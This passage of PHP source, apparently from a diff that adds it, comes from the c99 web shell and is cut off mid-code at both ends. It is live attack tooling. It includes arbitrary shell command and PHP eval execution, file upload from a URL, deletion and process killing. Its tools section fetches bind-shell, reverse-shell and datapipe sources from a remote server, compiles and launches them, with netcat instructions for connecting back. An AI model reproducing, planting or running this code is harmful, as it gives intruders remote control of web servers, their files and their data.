{touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode(" ",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img 